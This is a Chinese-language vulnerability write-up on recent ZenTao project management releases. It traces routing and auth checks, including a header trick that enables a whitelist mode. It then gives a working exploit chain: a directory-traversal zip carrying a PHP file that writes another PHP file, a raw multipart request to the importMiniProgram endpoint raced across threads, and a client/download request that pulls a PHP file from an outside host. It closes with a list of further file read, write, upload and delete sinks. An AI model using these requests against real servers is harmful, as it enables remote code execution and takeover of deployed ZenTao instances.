官网:https://www.zentao.net/

禅道开源版21.7.6/禅道企业版12.5/禅道旗舰版7.5/禅道IPD版4.5

路由分析

index.php主入口,

80行的setParams函数会检测参数是否合法,

​

参数会被正则过滤一遍,该正则仅允许由以下字符组成的字符串:

A-Z a-z 0-9
= _ , ` # + ^ / . % * | -
以及 ASCII 127~255 范围的扩展字符

​

后台存在几个sql注入点,但是绕不过,

​

回到index.php,82行的checkPriv函数会进行权限验证,

​

先利用isLogon函数验证cookie是否有效,

​

如果cookie无效,就调用identifyByCookie函数,然后再调用identify函数,

​

其中的$this->cookie->za是由cookie传入的,因此这里存在两个登录点,一个是login函数传参登录,一个是cookie是传参登录,

​

checkAccount函数会先验证传入account参数是否合法,

​

identifyUser函数进行最终的权限认证,先根据用户名查询用户信息,然后将传入的密码加密对比,

​

以上权限验证没有通过,就会利用isOpenMethod函数查看路由是否为白名单,

​

$this->config->xuanxuan->enabledMethods中的路由全是白名单,18、19、20也是白名单,

这里有个条件,需要define('RUN_MODE', "xuanxuan"),index.php默认没有定义RUN_MODE常量为xuanxuan,

​

21行的$this->config->openMethods也是白名单,

​

以上是index.php的路由,看了白名单,没有什么可以利用的,

x.php也会利用isOpenMethod函数验证白名单路由,

​

但是存在define('RUN_MODE', "xuanxuan")的条件,

​

只要headers满足一下条件,define('RUN_MODE', "xuanxuan")就成了,

那么$this->config->xuanxuan->enabledMethods中的路由白名单就可以尝试了,

User-Agent: easysoft/xuan.im
XXD-VERSION: XXDBuildVersion

​

并且在x.php中,这里利用file_get_contents("php://input")获取的加密数据,解密后给$this->input,

也就绕过了全局参数是否合法,但是key和iv在安装时动态定义,前台也拿不了到,因此此处只要后台可以利用(需要查看路由白名单是否存在sql注入,我大概看了几个就没看了),

后台任意文件上传

importMiniProgram函数会利用extractZtAppZip解压zip,读取文件内容后在删除上传的文件,

那么我们就需要看extractZtAppZip函数解压时是否存在目录穿越,

​

可以发现extractZtAppZip函数并没有过滤文件名,那么可以直接进行多线程文件上传,因为后面会读取文件内容后删除文件,

​

创建1......www1.php(用kali可以生成,echo "" > "1......www1.php"),写入内容,然后压缩成test.zip,

<?php 
file_put_contents("2.php", "<?php phpinfo(); ?>");
?>

​

多线程发包,防止1.php被瞬间删除,

POST /index.php?m=ai&f=importMiniProgram&t=json HTTP/1.1
Host: zentaopms2176b:8067
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3eXP1ZTZbgS8AwcN
Origin: http://zentaopms2176b:8067
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
X-ZUI-Modal: true
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Accept: */*
Referer: http://zentaopms2176b:8067/index.php?m=my&f=index
Cookie: zentaosid=tauv8smgptdehti8f5le9ac8pv; lang=zh-cn; vision=rnd; device=desktop; theme=default; hideMenu=false; tab=my
Content-Length: 927

------WebKitFormBoundary3eXP1ZTZbgS8AwcN
Content-Disposition: form-data; name="file"; filename="11.zip"
Content-Type: image/jpeg

{{file(C:\Users\xxxx\Desktop\test.zip)}}
------WebKitFormBoundary3eXP1ZTZbgS8AwcN
Content-Disposition: form-data; name="category"

1111
------WebKitFormBoundary3eXP1ZTZbgS8AwcN
Content-Disposition: form-data; name="published"

111112{{int(0000-9999)}}
------WebKitFormBoundary3eXP1ZTZbgS8AwcN--

​

多线程访问1.php,可以看到有一个返回200,说明1.php执行了并写入2.php成功,

​

访问写入内容,执行成功,

http://zentaopms2176b:8067/2.php

后台任意文件删除

public function download($version = '', $link = '', $os = '')

可以上传zip,进行文件包含等,

POST /index.php?m=client&f=download&version=..&link=aHR0cDovLzE5Mi4xNjguOTEuMTI4Ojg4ODgvMS5waHA6LmpwZw== HTTP/1.1
Host: zentaopms2176:8066
Origin: http://zentaopms2176:8066
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTpBALmOH3iLmpjGA
X-Requested-With: XMLHttpRequest
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Referer: http://zentaopms2176:8066/index.php?m=user&f=login&referer=Lw==
Cookie: zentaosid=jene6th05amk3md82nh7hku7i1; lang=zh-cn; vision=rnd; device=desktop; theme=default; logout=4444
Content-Length: 765

------WebKitFormBoundaryTpBALmOH3iLmpjGA
Content-Disposition: form-data; name="link"

http://192.168.91.1:8888/1.php
------WebKitFormBoundaryTpBALmOH3iLmpjGA
Content-Disposition: form-data; name="version"

4eb5c972a80f799fb236537190194f52
------WebKitFormBoundaryTpBALmOH3iLmpjGA
Content-Disposition: form-data; name="passwordStrength"

0
------WebKitFormBoundaryTpBALmOH3iLmpjGA
Content-Disposition: form-data; name="referer"

/
------WebKitFormBoundaryTpBALmOH3iLmpjGA
Content-Disposition: form-data; name="verifyRand"

41303614
------WebKitFormBoundaryTpBALmOH3iLmpjGA
Content-Disposition: form-data; name="keepLogin"

0
------WebKitFormBoundaryTpBALmOH3iLmpjGA
Content-Disposition: form-data; name="captcha"


------WebKitFormBoundaryTpBALmOH3iLmpjGA--
其他可能造成漏洞的函数如下

任意文件删除

漏洞点1:

class backup extends control

public function delete($fileName)

漏洞点2:

class editor extends control

public function delete($filePath = '')

文件读取

class editor extends control

public function edit($filePath = '', $action = '', $isExtends = '')

任意文件写入

class editor extends control

public function save($filePath = '', $action = '')

任意文件上传

class extension extends control

public function upload()

任意文件上传

class file extends control

public function ajaxUpload($uid = '', $objectType = '', $objectID = 0, $extra = '', $field = 'imgFile', $api = false, $gid = '')

任意文件上传

class transfer extends control

public function import($module, $locate = '')

文件上传

class fileModel extends model

public function saveAFile($file, $objectType = '', $objectID = 0, $extra = '', $filesName = 'files', $labelsName = 'labels')

文件上传

class fileModel extends model

public function saveChunkedFile($file, $uid)

文件删除

class fileModel extends model

public function unlinkFile($file)

文件上传

public function importUnitResult($task)